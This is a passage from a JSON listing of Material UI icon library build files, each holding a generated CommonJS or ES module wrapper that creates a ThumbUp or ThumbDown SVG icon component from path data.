    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v2h8.77l-1.11 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.58-6.59c.37-.36.59-.86.59-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L11.77 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}, \"1\")], 'ThumbDownAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v2h8.77l-1.11 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.58-6.59c.37-.36.59-.86.59-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L11.77 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}, \"1\")], 'ThumbDownAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.89 18.28.57-2.89c.12-.59-.04-1.2-.42-1.66S10.1 13 9.5 13H4v-1.08L6.57 6h8.09c.18 0 .34.16.34.34v7.84zM10 22l6.41-6.41c.38-.38.59-.89.59-1.42V6.34C17 5.05 15.95 4 14.66 4h-8.1c-.71 0-1.36.37-1.72.97l-2.67 6.15c-.11.25-.17.52-.17.8V13c0 1.1.9 2 2 2h5.5l-.92 4.65c-.05.22-.02.46.08.66.23.45.52.86.88 1.22zm10-7h2V4h-2c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1\"\n}), 'ThumbDownOffAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.89 18.28.57-2.89c.12-.59-.04-1.2-.42-1.66S10.1 13 9.5 13H4v-1.08L6.57 6h8.09c.18 0 .34.16.34.34v7.84zM10 22l6.41-6.41c.38-.38.59-.89.59-1.42V6.34C17 5.05 15.95 4 14.66 4h-8.1c-.71 0-1.36.37-1.72.97l-2.67 6.15c-.11.25-.17.52-.17.8V13c0 1.1.9 2 2 2h5.5l-.92 4.65c-.05.22-.02.46.08.66.23.45.52.86.88 1.22zm10-7h2V4h-2c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1\"\n}), 'ThumbDownOffAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownOffAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownOffAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.99 3H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.29.29.67.43 1.05.43s.77-.15 1.06-.44l5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2m-4.33 16.33.61-2.92.5-2.41H3.66c-.47 0-.72-.28-.83-.45s-.27-.51-.08-.95L6 5h8.99v9.99zM21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownOffAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.99 3H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.29.29.67.43 1.05.43s.77-.15 1.06-.44l5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2m-4.33 16.33.61-2.92.5-2.41H3.66c-.47 0-.72-.28-.83-.45s-.27-.51-.08-.95L6 5h8.99v9.99zM21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownOffAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h4v12h-4zM1 11.6V16h8.31l-1.12 5.38L9.83 23 17 15.82V3H4.69zM15 5v9.99l-4.34 4.35.61-2.93.5-2.41H3v-1.99L6.01 5z\"\n}), 'ThumbDownOffAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h4v12h-4zM1 11.6V16h8.31l-1.12 5.38L9.83 23 17 15.82V3H4.69zM15 5v9.99l-4.34 4.35.61-2.93.5-2.41H3v-1.99L6.01 5z\"\n}), 'ThumbDownOffAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v2h9l-1.34 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3h4v12h-4zm-4 0H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9z\"\n}, \"1\")], 'ThumbDownOffAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOffAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v2h9l-1.34 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3h4v12h-4zm-4 0H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9z\"\n}, \"1\")], 'ThumbDownOffAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}), 'ThumbDownOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m10.88 21.94 5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.59.58 1.53.58 2.11-.01M21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m10.88 21.94 5.53-5.54c.37-.37.58-.88.58-1.41V5c0-1.1-.9-2-2-2H6c-.8 0-1.52.48-1.83 1.21L.91 11.82C.06 13.8 1.51 16 3.66 16h5.65l-.95 4.58c-.1.5.05 1.01.41 1.37.59.58 1.53.58 2.11-.01M21 3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2s2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ThumbDownRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.83 23 17 15.82V3H4.69L1 11.6V16h8.31l-1.12 5.38zM19 3h4v12h-4z\"\n}), 'ThumbDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.83 23 17 15.82V3H4.69L1 11.6V16h8.31l-1.12 5.38zM19 3h4v12h-4z\"\n}), 'ThumbDownSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v2h9l-1.34 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}, \"1\")], 'ThumbDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbDownTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v2h9l-1.34 5.34L15 15V5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 3H6c-.83 0-1.54.5-1.84 1.22l-3.02 7.05c-.09.23-.14.47-.14.73v2c0 1.1.9 2 2 2h6.31l-.95 4.57-.03.32c0 .41.17.79.44 1.06L9.83 23l6.59-6.59c.36-.36.58-.86.58-1.41V5c0-1.1-.9-2-2-2m0 12-4.34 4.34L12 14H3v-2l3-7h9zm4-12h4v12h-4z\"\n}, \"1\")], 'ThumbDownTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1 21h4V9H1zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73z\"\n}), 'ThumbUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1 21h4V9H1zm22-11c0-1.1-.9-2-2-2h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73z\"\n}), 'ThumbUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 20h2c.55 0 1-.45 1-1v-9c0-.55-.45-1-1-1H2zm19.83-7.12c.11-.25.17-.52.17-.8V11c0-1.1-.9-2-2-2h-5.5l.92-4.65c.05-.22.02-.46-.08-.66-.23-.45-.52-.86-.88-1.22L14 2 7.59 8.41C7.21 8.79 7 9.3 7 9.83v7.84C7 18.95 8.05 20 9.34 20h8.11c.7 0 1.36-.37 1.72-.97z\"\n}), 'ThumbUpAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAlt.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 20h2c.55 0 1-.45 1-1v-9c0-.55-.45-1-1-1H2zm19.83-7.12c.11-.25.17-.52.17-.8V11c0-1.1-.9-2-2-2h-5.5l.92-4.65c.05-.22.02-.46-.08-.66-.23-.45-.52-.86-.88-1.22L14 2 7.59 8.41C7.21 8.79 7 9.3 7 9.83v7.84C7 18.95 8.05 20 9.34 20h8.11c.7 0 1.36-.37 1.72-.97z\"\n}), 'ThumbUpAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}), 'ThumbUpAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}), 'ThumbUpAltOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.12 2.06 7.58 7.6c-.37.37-.58.88-.58 1.41V19c0 1.1.9 2 2 2h9c.8 0 1.52-.48 1.84-1.21l3.26-7.61C23.94 10.2 22.49 8 20.34 8h-5.65l.95-4.58c.1-.5-.05-1.01-.41-1.37-.59-.58-1.53-.58-2.11.01M3 21c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2s-2 .9-2 2v8c0 1.1.9 2 2 2\"\n}), 'ThumbUpAltRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.17 1 7 8.18V21h12.31L23 12.4V8h-8.31l1.12-5.38zM1 9h4v12H1z\"\n}), 'ThumbUpAltSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.34 4.66 9 9v10h9l3-7v-2h-8.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpAltTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.34 4.66 9 9v10h9l3-7v-2h-8.77z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 8h-6.31l.95-4.57.03-.32c0-.41-.17-.79-.44-1.06L14.17 1 7.59 7.59C7.22 7.95 7 8.45 7 9v10c0 1.1.9 2 2 2h9c.83 0 1.54-.5 1.84-1.22l3.02-7.05c.09-.23.14-.47.14-.73v-2c0-1.1-.9-2-2-2m0 4-3 7H9V9l4.34-4.34L12.23 10H21zM1 9h4v12H1z\"\n}, \"1\")], 'ThumbUpAltTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.11 5.72-.57 2.89c-.12.59.04 1.2.42 1.66s.94.73 1.54.73H20v1.08L17.43 18H9.34c-.18 0-.34-.16-.34-.34V9.82zM14 2 7.59 8.41C7.21 8.79 7 9.3 7 9.83v7.83C7 18.95 8.05 20 9.34 20h8.1c.71 0 1.36-.37 1.72-.97l2.67-6.15c.11-.25.17-.52.17-.8V11c0-1.1-.9-2-2-2h-5.5l.92-4.65c.05-.22.02-.46-.08-.66-.23-.45-.52-.86-.88-1.22zM4 9H2v11h2c.55 0 1-.45 1-1v-9c0-.55-.45-1-1-1\"\n}), 'ThumbUpOffAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ThumbUpOffAlt.mjs",
